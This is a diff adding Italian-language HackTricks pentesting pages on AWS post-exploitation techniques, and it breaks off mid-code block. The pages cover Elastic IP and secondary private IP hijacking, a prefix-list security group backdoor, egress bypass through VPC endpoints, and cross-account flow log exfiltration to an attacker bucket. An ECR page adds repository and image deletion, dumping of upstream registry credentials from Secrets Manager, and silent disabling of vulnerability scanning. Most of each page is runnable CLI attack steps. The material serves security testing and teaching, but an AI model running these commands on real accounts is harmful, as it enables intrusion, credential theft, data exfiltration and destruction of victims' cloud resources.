+aws ec2 delete-instance-connect-endpoint \
+--instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION"
+```
+> Note
+> - La chiave SSH iniettata è valida solo per ~60 secondi; invia la chiave immediatamente prima di aprire il tunnel/SSH.
+> - `OS_USER` deve corrispondere all'AMI (ad es., `ubuntu` per Ubuntu, `ec2-user` per Amazon Linux 2).
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md
new file mode 100644
index 000000000..648236fff
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md
@@ -0,0 +1,52 @@
+# AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Sommario
+
+Abusa di `ec2:AssociateAddress` (e opzionalmente di `ec2:DisassociateAddress`) per riassegnare un Elastic IP (EIP) da un'istanza/ENI vittima a un'istanza/ENI dell'attaccante. Questo reindirizza il traffico in ingresso destinato all'EIP verso l'attaccante e permette anche all'attaccante di generare traffico in uscita con l'IP pubblico allowlisted per eludere i firewall dei partner esterni.
+
+## Prerequisiti
+- ID di allocazione (allocation ID) dell'EIP target nello stesso account/VPC.
+- Istanza/ENI dell'attaccante che controlli.
+- Permessi:
+- `ec2:DescribeAddresses`
+- `ec2:AssociateAddress` sull'EIP allocation-id e sull'istanza/ENI dell'attaccante
+- `ec2:DisassociateAddress` (opzionale). Nota: `--allow-reassociation` dissocia automaticamente dall'allegato precedente.
+
+## Attacco
+
+Variabili
+```bash
+REGION=us-east-1
+ATTACKER_INSTANCE=<i-attacker>
+VICTIM_INSTANCE=<i-victim>
+```
+1) Assegnare o identificare l'EIP della vittima (il lab ne assegna uno nuovo e lo associa alla vittima)
+```bash
+ALLOC_ID=$(aws ec2 allocate-address --domain vpc --region $REGION --query AllocationId --output text)
+aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $VICTIM_INSTANCE --region $REGION
+EIP=$(aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION --query Addresses[0].PublicIp --output text)
+```
+2) Verificare che l'EIP risolva attualmente al servizio della vittima (ad esempio controllando un banner)
+```bash
+curl -sS http://$EIP | grep -i victim
+```
+3) Riassegnare l'EIP all'attaccante (si disassocia automaticamente dalla vittima)
+```bash
+aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $ATTACKER_INSTANCE --allow-reassociation --region $REGION
+```
+4) Verifica che l'EIP ora risolva verso l'attacker service
+```bash
+sleep 5; curl -sS http://$EIP | grep -i attacker
+```
+Evidenza (associazione spostata):
+```bash
+aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION \
+--query Addresses[0].AssociationId --output text
+```
+## Impatto
+- Inbound impersonation: Tutto il traffico diretto all'hijacked EIP viene recapitato all'istanza/ENI dell'attacker.
+- Outbound impersonation: Attacker può iniziare traffico che sembra provenire dall'allowlisted public IP (utile per bypassare i filtri IP di partner/sorgenti esterne).
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md
new file mode 100644
index 000000000..338801d4d
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md
@@ -0,0 +1,50 @@
+# AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Sfrutta `ec2:UnassignPrivateIpAddresses` e `ec2:AssignPrivateIpAddresses` per rubare l'indirizzo IP privato secondario di un'ENI vittima e spostarlo su un'ENI dell'attaccante nello stesso subnet/AZ. Molti servizi interni e security group limitano l'accesso in base a specifici indirizzi IP privati. Spostando quell'indirizzo secondario, l'attaccante si finge l'host di fiducia a livello L3 e può raggiungere i servizi in allowlist.
+
+Prerequisiti:
+- Permessi: `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` sull'ARN dell'ENI vittima, e `ec2:AssignPrivateIpAddresses` sull'ARN dell'ENI dell'attaccante.
+- Entrambi gli ENI devono trovarsi nella stessa subnet/AZ. L'indirizzo target deve essere un IP secondario (il primario non può essere rimosso).
+
+Variabili:
+- REGION=us-east-1
+- VICTIM_ENI=<eni-xxxxxxxx>
+- ATTACKER_ENI=<eni-yyyyyyyy>
+- PROTECTED_SG=<sg-protected>   # SG on a target service that allows only $HIJACK_IP
+- PROTECTED_HOST=<private-dns-or-ip-of-protected-service>
+
+Passaggi:
+1) Scegli un indirizzo IP secondario dall'ENI vittima
+```bash
+aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION   --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
+export HIJACK_IP=$(cat HIJACK_IP)
+```
+2) Assicurati che l'host protetto permetta solo quell'IP (idempotent). Se usi SG-to-SG rules invece, salta.
+```bash
+aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80   --cidr "$HIJACK_IP/32" --region $REGION || true
+```
+3) Linea di base: dalla attacker instance, la richiesta a PROTECTED_HOST dovrebbe fallire senza spoofed source (es., tramite SSM/SSH)
+```bash
+curl -sS --max-time 3 http://$PROTECTED_HOST || true
+```
+4) Rimuovere l'IP secondario dall'ENI della vittima
+```bash
+aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI   --private-ip-addresses $HIJACK_IP --region $REGION
+```
+5) Assegna lo stesso IP all'ENI dell'attacker (su AWS CLI v1 aggiungi `--allow-reassignment`)
+```bash
+aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI   --private-ip-addresses $HIJACK_IP --region $REGION
+```
+6) Verificare che la proprietà sia stata trasferita
+```bash
+aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION   --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
+```
+7) Dalla attacker instance, source-bind all'hijacked IP per raggiungere l'host protetto (assicurati che l'IP sia configurato sul sistema operativo; in caso contrario, aggiungilo con `ip addr add $HIJACK_IP/<mask> dev eth0`)
+```bash
+curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out
+```
+## Impact
+- Bypass IP allowlists e impersonate trusted hosts all'interno della VPC spostando secondary private IPs tra ENIs nella stessa subnet/AZ.
+- Raggiungere servizi interni che limitano l'accesso in base a specifiche source IPs, permettendo lateral movement e data access.
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md
new file mode 100644
index 000000000..caf5f75ed
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md
@@ -0,0 +1,72 @@
+# AWS - Security Group Backdoor via Managed Prefix Lists
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Sommario
+Abusa delle Prefix Lists gestite dal cliente per creare un percorso di accesso furtivo. Se una regola di security group (SG) fa riferimento a una managed Prefix List, chiunque abbia la capacità di modificare quella lista può aggiungere silenziosamente CIDRs controllati dall'attaccante. Ogni SG (e potenzialmente Network ACL o VPC endpoint) che fa riferimento alla lista consente immediatamente i nuovi range senza alcuna modifica visibile allo SG.
+
+## Impatto
+- Espansione istantanea degli intervalli IP consentiti per tutti gli SG che fanno riferimento alla prefix list, bypassando i controlli di modifica che monitorano solo le modifiche agli SG.
+- Abilita backdoor persistenti ingress/egress: mantenere il CIDR malevolo nascosto nella prefix list mentre la regola SG appare invariata.
+
+## Requisiti
+- Permessi IAM:
+- `ec2:DescribeManagedPrefixLists`
+- `ec2:GetManagedPrefixListEntries`
+- `ec2:ModifyManagedPrefixList`
+- `ec2:DescribeSecurityGroups` / `ec2:DescribeSecurityGroupRules` (per identificare gli SG collegati)
+- Opzionale: `ec2:CreateManagedPrefixList` se si crea una nuova per il testing.
+- Ambiente: almeno una regola SG che faccia riferimento alla Prefix List gestita dal cliente di destinazione.
+
+## Variabili
+```bash
+REGION=us-east-1
+PREFIX_LIST_ID=<pl-xxxxxxxx>
+ENTRY_CIDR=<attacker-cidr/32>
+DESCRIPTION="Backdoor – allow attacker"
+```
+## Passaggi dell'attacco
+
+1) **Enumerare candidate prefix lists e consumers**
+```bash
+aws ec2 describe-managed-prefix-lists \
+--region "$REGION" \
+--query 'PrefixLists[?OwnerId==`<victim-account-id>`].[PrefixListId,PrefixListName,State,MaxEntries]' \
+--output table
+
+aws ec2 get-managed-prefix-list-entries \
+--prefix-list-id "$PREFIX_LIST_ID" \
+--region "$REGION" \
+--query 'Entries[*].[Cidr,Description]'
+```
+Usa `aws ec2 describe-security-group-rules --filters Name=referenced-prefix-list-id,Values=$PREFIX_LIST_ID` per confermare quali regole SG fanno riferimento alla lista.
+
+2) **Aggiungi il CIDR dell'attaccante alla prefix list**
+```bash
+aws ec2 modify-managed-prefix-list \
+--prefix-list-id "$PREFIX_LIST_ID" \
+--add-entries Cidr="$ENTRY_CIDR",Description="$DESCRIPTION" \
+--region "$REGION"
+```
+3) **Verificare la propagazione ai gruppi di sicurezza**
+```bash
+aws ec2 describe-security-group-rules \
+--region "$REGION" \
+--filters Name=referenced-prefix-list-id,Values="$PREFIX_LIST_ID" \
+--query 'SecurityGroupRules[*].{SG:GroupId,Description:Description}' \
+--output table
+```
+Il traffico da `$ENTRY_CIDR` è ora consentito ovunque venga fatto riferimento alla prefix list (comunemente regole outbound su proxy di uscita o regole inbound su servizi condivisi).
+
+## Evidence
+- `get-managed-prefix-list-entries` riflette il CIDR dell'attaccante e la descrizione.
+- `describe-security-group-rules` mostra ancora la regola SG originale che fa riferimento alla prefix list (nessuna modifica della SG registrata), eppure il traffico dal nuovo CIDR ha successo.
+
+## Cleanup
+```bash
+aws ec2 modify-managed-prefix-list \
+--prefix-list-id "$PREFIX_LIST_ID" \
+--remove-entries Cidr="$ENTRY_CIDR" \
+--region "$REGION"
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md
new file mode 100644
index 000000000..51ee544ca
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md
@@ -0,0 +1,68 @@
+# AWS – Bypass dell'egress dalle subnet isolate tramite VPC Endpoints
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Riepilogo
+
+Questa tecnica sfrutta i VPC Endpoints per creare canali di esfiltrazione da subnet senza Internet Gateways o NAT. I Gateway endpoints (e.g., S3) aggiungono route di prefix‑list nelle route table delle subnet; gli Interface endpoints (e.g., execute-api, secretsmanager, ssm, etc.) creano ENI raggiungibili con IP privati protetti da security group. Con permessi minimi su VPC/EC2, un attaccante può abilitare un egress controllato che non attraversa l'Internet pubblica.
+
+> Prerequisiti: VPC esistente e subnet private (no IGW/NAT). Ti serviranno permessi per creare VPC endpoints e, per l'Opzione B, uno security group da associare alle ENI dell'endpoint.
+
+## Opzione A – S3 Gateway VPC Endpoint
+
+**Variabili**
+- `REGION=us-east-1`
+- `VPC_ID=<target vpc>`
+- `RTB_IDS=<comma-separated route table IDs of private subnets>`
+
+1) Crea un file di policy permissiva per l'endpoint (opzionale). Salva come `allow-put-get-any-s3.json`:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [ { "Effect": "Allow", "Action": ["s3:*"], "Resource": ["*"] } ]
+}
+```
+2) Crea l'endpoint S3 Gateway (aggiunge S3 prefix‑list route alle tabelle di route selezionate):
+```bash
+aws ec2 create-vpc-endpoint \
+--vpc-id $VPC_ID \
+--service-name com.amazonaws.$REGION.s3 \
+--vpc-endpoint-type Gateway \
+--route-table-ids $RTB_IDS \
+--policy-document file://allow-put-get-any-s3.json   # optional
+```
+Evidenze da raccogliere:
+- `aws ec2 describe-route-tables --route-table-ids $RTB_IDS` mostra una route verso la prefix list S3 di AWS (es., `DestinationPrefixListId=pl-..., GatewayId=vpce-...`).
+- Da un'istanza in quelle subnets (con IAM perms) puoi exfil via S3 senza Internet:
+```bash
+# On the isolated instance (e.g., via SSM):
+echo data > /tmp/x.txt
+aws s3 cp /tmp/x.txt s3://<your-bucket>/egress-test/x.txt --region $REGION
+```
+## Opzione B – Interface VPC Endpoint for API Gateway (execute-api)
+
+**Variabili**
+- `REGION=us-east-1`
+- `VPC_ID=<target vpc>`
+- `SUBNET_IDS=<comma-separated private subnets>`
+- `SG_VPCE=<security group for the endpoint ENIs allowing 443 from target instances>`
+
+1) Crea l'interface endpoint e associa il SG:
+```bash
+aws ec2 create-vpc-endpoint \
+--vpc-id $VPC_ID \
+--service-name com.amazonaws.$REGION.execute-api \
+--vpc-endpoint-type Interface \
+--subnet-ids $SUBNET_IDS \
+--security-group-ids $SG_VPCE \
+--private-dns-enabled
+```
+Evidenze da raccogliere:
+- `aws ec2 describe-vpc-endpoints` mostra l'endpoint in stato `available` con `NetworkInterfaceIds` (ENIs nelle tue subnet).
+- Le istanze in quelle subnet possono raggiungere endpoint Private API Gateway attraverso quei VPCE ENIs (nessun percorso Internet richiesto).
+
+## Impatto
+- Elude i controlli di egress perimetrali sfruttando percorsi privati gestiti da AWS verso i servizi AWS.
+- Consente l'exfiltrazione di dati da subnet isolate (ad es., scrittura su S3; chiamate a Private API Gateway; accesso a Secrets Manager/SSM/STS, ecc.) senza IGW/NAT.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md
new file mode 100644
index 000000000..4cdd44df8
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md
@@ -0,0 +1,74 @@
+# AWS - VPC Flow Logs Cross-Account Exfiltration to S3
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Riassunto
+Abusa di `ec2:CreateFlowLogs` per esportare i flow log della VPC, del subnet o dell'ENI direttamente in un bucket S3 controllato dall'attaccante. Una volta che il delivery role è configurato per scrivere nel bucket esterno, ogni connessione vista nella risorsa monitorata viene trasmessa fuori dall'account vittima.
+
+## Requisiti
+- Principal vittima: `ec2:CreateFlowLogs`, `ec2:DescribeFlowLogs`, e `iam:PassRole` (se è richiesto/creato un delivery role).
+- Bucket dell'attaccante: policy S3 che autorizza `delivery.logs.amazonaws.com` con `s3:PutObject` e `bucket-owner-full-control`.
+- Opzionale: `logs:DescribeLogGroups` se si esporta verso CloudWatch invece che verso S3 (non necessario qui).
+
+## Procedura dell'attacco
+
+1) **Attacker** prepara una policy per il bucket S3 (nell'account dell'attaccante) che permette al VPC Flow Logs delivery service di scrivere oggetti. Sostituire i placeholder prima di applicare:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "AllowVPCFlowLogsDelivery",
+"Effect": "Allow",
+"Principal": { "Service": "delivery.logs.amazonaws.com" },
+"Action": "s3:PutObject",
+"Resource": "arn:aws:s3:::<attacker-bucket>/flowlogs/*",
+"Condition": {
+"StringEquals": { "s3:x-amz-acl": "bucket-owner-full-control" }
+}
+}
+]
+}
+```
+Applica dall'account dell'attaccante:
+```bash
+aws s3api put-bucket-policy \
+--bucket <attacker-bucket> \
+--policy file://flowlogs-policy.json
+```
+2) **Victim** (compromised principal) crea i flow logs che puntano all'attacker bucket:
+```bash
+REGION=us-east-1
+VPC_ID=<vpc-xxxxxxxx>
+ROLE_ARN=<delivery-role-with-logs-permissions>   # Must allow delivery.logs.amazonaws.com to assume it
+aws ec2 create-flow-logs \
+--resource-type VPC \
+--resource-ids "$VPC_ID" \
+--traffic-type ALL \
+--log-destination-type s3 \
+--log-destination arn:aws:s3:::<attacker-bucket>/flowlogs/ \
+--deliver-logs-permission-arn "$ROLE_ARN" \
+--region "$REGION"
+```
+Nel giro di pochi minuti, i flow log files compaiono nell'attacker bucket contenenti connessioni per tutte le ENIs nella VPC/subnet monitorata.
+
+## Evidenza
+
+Esempi di record di flow log scritti nell'attacker bucket:
+```text
+version account-id interface-id srcaddr dstaddr srcport dstport protocol packets bytes start end action log-status
+2 947247140022 eni-074cdc68182fb7e4d 52.217.123.250 10.77.1.240 443 48674 6 2359 3375867 1759874460 1759874487 ACCEPT OK
+2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 52.217.123.250 48674 443 6 169 7612 1759874460 1759874487 ACCEPT OK
+2 947247140022 eni-074cdc68182fb7e4d 54.231.199.186 10.77.1.240 443 59604 6 34 33539 1759874460 1759874487 ACCEPT OK
+2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 54.231.199.186 59604 443 6 18 1726 1759874460 1759874487 ACCEPT OK
+2 947247140022 eni-074cdc68182fb7e4d 16.15.204.15 10.77.1.240 443 57868 6 162 1219352 1759874460 1759874487 ACCEPT OK
+```
+Prova di Bucket listing:
+```bash
+aws s3 ls s3://<attacker-bucket>/flowlogs/ --recursive --human-readable --summarize
+```
+## Impatto
+- Esfiltrazione continua dei metadata di rete (source/destination IPs, ports, protocols) per la VPC/subnet/ENI monitorata.
+- Consente l'analisi del traffico, l'identificazione di servizi sensibili e l'eventuale ricerca di misconfigurazioni dei security group dall'esterno dell'account della vittima.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md
deleted file mode 100644
index a7687831a..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md
+++ /dev/null
@@ -1,92 +0,0 @@
-# AWS - ECR Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECR
-
-Per ulteriori informazioni controlla
-
-{{#ref}}
-../aws-services/aws-ecr-enum.md
-{{#endref}}
-
-### Login, Pull & Push
-```bash
-# Docker login into ecr
-## For public repo (always use us-east-1)
-aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
-## For private repo
-aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
-## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account
-
-# Download
-docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
-## If you still have the error "Requested image not found"
-## It might be because the tag "latest" doesn't exit
-## Get valid tags with:
-TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
-curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list
-
-# Inspect the image
-docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
-
-# Upload (example uploading purplepanda with tag latest)
-docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
-docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
-
-# Downloading without Docker
-# List digests
-aws ecr batch-get-image --repository-name level2 \
---registry-id 653711331788 \
---image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
-
-## Download a digest
-aws ecr get-download-url-for-layer \
---repository-name level2 \
---registry-id 653711331788 \
---layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
-```
-Dopo aver scaricato le immagini, dovresti **controllarle per informazioni sensibili**:
-
-{{#ref}}
-https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
-{{#endref}}
-
-### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
-
-Un attaccante con uno di questi permessi può **creare o modificare una politica di ciclo di vita per eliminare tutte le immagini nel repository** e poi **eliminare l'intero repository ECR**. Questo comporterebbe la perdita di tutte le immagini dei container memorizzate nel repository.
-```bash
-bashCopy code# Create a JSON file with the malicious lifecycle policy
-echo '{
-"rules": [
-{
-"rulePriority": 1,
-"description": "Delete all images",
-"selection": {
-"tagStatus": "any",
-"countType": "imageCountMoreThan",
-"countNumber": 0
-},
-"action": {
-"type": "expire"
-}
-}
-]
-}' > malicious_policy.json
-
-# Apply the malicious lifecycle policy to the ECR repository
-aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json
-
-# Delete the ECR repository
-aws ecr delete-repository --repository-name your-ecr-repo-name --force
-
-# Delete the ECR public repository
-aws ecr-public delete-repository --repository-name your-ecr-repo-name --force
-
-# Delete multiple images from the ECR repository
-aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
-
-# Delete multiple images from the ECR public repository
-aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md
new file mode 100644
index 000000000..d534ac2f4
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md
@@ -0,0 +1,210 @@
+# AWS - ECR Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECR
+
+Per maggiori informazioni consulta
+
+{{#ref}}
+../../aws-services/aws-ecr-enum.md
+{{#endref}}
+
+### Login, Pull & Push
+```bash
+# Docker login into ecr
+## For public repo (always use us-east-1)
+aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
+## For private repo
+aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
+## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account
+
+# Download
+docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
+## If you still have the error "Requested image not found"
+## It might be because the tag "latest" doesn't exit
+## Get valid tags with:
+TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
+curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list
+
+# Inspect the image
+docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
+docker inspect <account id>.dkr.ecr.<region>.amazonaws.com/<image>:<tag> # Inspect the image indicating the URL
+
+# Upload (example uploading purplepanda with tag latest)
+docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
+docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
+
+# Downloading without Docker
+# List digests
+aws ecr batch-get-image --repository-name level2 \
+--registry-id 653711331788 \
+--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
+
+## Download a digest
+aws ecr get-download-url-for-layer \
+--repository-name level2 \
+--registry-id 653711331788 \
+--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
+```
+Dopo aver scaricato le immagini dovresti **controllarle per informazioni sensibili**:
+
+{{#ref}}
+https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
+{{#endref}}
+
+### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
+
+Un attacker con una qualsiasi di queste autorizzazioni può **creare o modificare una lifecycle policy per eliminare tutte le immagini nel repository** e poi **cancellare l'intero ECR repository**. Ciò comporterebbe la perdita di tutte le immagini dei container memorizzate nel repository.
+```bash
+# Create a JSON file with the malicious lifecycle policy
+echo '{
+"rules": [
+{
+"rulePriority": 1,
+"description": "Delete all images",
+"selection": {
+"tagStatus": "any",
+"countType": "imageCountMoreThan",
+"countNumber": 0
+},
+"action": {
+"type": "expire"
+}
+}
+]
+}' > malicious_policy.json
+
+# Apply the malicious lifecycle policy to the ECR repository
+aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json
+
+# Delete the ECR repository
+aws ecr delete-repository --repository-name your-ecr-repo-name --force
+
+# Delete the ECR public repository
+aws ecr-public delete-repository --repository-name your-ecr-repo-name --force
+
+# Delete multiple images from the ECR repository
+aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
+
+# Delete multiple images from the ECR public repository
+aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
+```
+{{#include ../../../../banners/hacktricks-training.md}}
+
+
+
+
+
+### Exfiltrate upstream registry credentials from ECR Pull‑Through Cache (PTC)
+
+Se ECR Pull‑Through Cache è configurato per registri upstream autenticati (Docker Hub, GHCR, ACR, etc.), le credenziali upstream vengono memorizzate in AWS Secrets Manager con un prefisso di nome prevedibile: `ecr-pullthroughcache/`. Gli operatori a volte concedono agli amministratori ECR ampio accesso in lettura a Secrets Manager, abilitando l'exfiltration delle credenziali e il loro riutilizzo al di fuori di AWS.
+
+Requisiti
+- secretsmanager:ListSecrets
+- secretsmanager:GetSecretValue
+
+Enumerare i segreti PTC candidati
+```bash
+aws secretsmanager list-secrets \
+--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
+--output text
+```
+Esegui il dump dei segreti scoperti e analizza i campi comuni
+```bash
+for s in $(aws secretsmanager list-secrets \
+--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
+aws secretsmanager get-secret-value --secret-id "$s" \
+--query SecretString --output text | tee /tmp/ptc_secret.json
+jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
+jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
+done
+```
+Facoltativo: convalida leaked creds contro l'upstream (login in sola lettura)
+```bash
+echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
+```
+Impatto
+- La lettura di queste voci di Secrets Manager restituisce credenziali riutilizzabili del registry upstream (username/password or token), che possono essere sfruttate anche al di fuori di AWS per scaricare immagini private o accedere a repository aggiuntivi a seconda delle autorizzazioni upstream.
+
+
+### Registry-level stealth: disabilitare o degradare la scansione tramite `ecr:PutRegistryScanningConfiguration`
+
+Un attacker con permessi ECR a livello di registry può silenziosamente ridurre o disabilitare la scansione automatica delle vulnerabilità per ALL repositories impostando la registry scanning configuration su BASIC senza regole scan-on-push. Questo impedisce che i nuovi image pushes vengano scansionati automaticamente, nascondendo immagini vulnerabili o malevole.
+
+Requisiti
+- ecr:PutRegistryScanningConfiguration
+- ecr:GetRegistryScanningConfiguration
+- ecr:PutImageScanningConfiguration (optional, per‑repo)
+- ecr:DescribeImages, ecr:DescribeImageScanFindings (verification)
+
+Declassamento dell'intero registry a modalità manuale (nessuna scansione automatica)
+```bash
+REGION=us-east-1
+# Read current config (save to restore later)
+aws ecr get-registry-scanning-configuration --region "$REGION"
+
+# Set BASIC scanning with no rules (results in MANUAL scanning only)
+aws ecr put-registry-scanning-configuration \
+--region "$REGION" \
+--scan-type BASIC \
+--rules '[]'
+```
+Test con un repo e un'immagine
+```bash
+acct=$(aws sts get-caller-identity --query Account --output text)
+repo=ht-scan-stealth
+aws ecr create-repository --region "$REGION" --repository-name "$repo" >/dev/null 2>&1 || true
+aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
+printf 'FROM alpine:3.19\nRUN echo STEALTH > /etc/marker\n' > Dockerfile
+docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test .
+docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test
+
+# Verify no scan ran automatically
+aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids imageTag=test --query 'imageDetails[0].imageScanStatus'
+# Optional: will error with ScanNotFoundException if no scan exists
+aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
+```
+Opzionale: degradare ulteriormente a livello di repo
+```bash
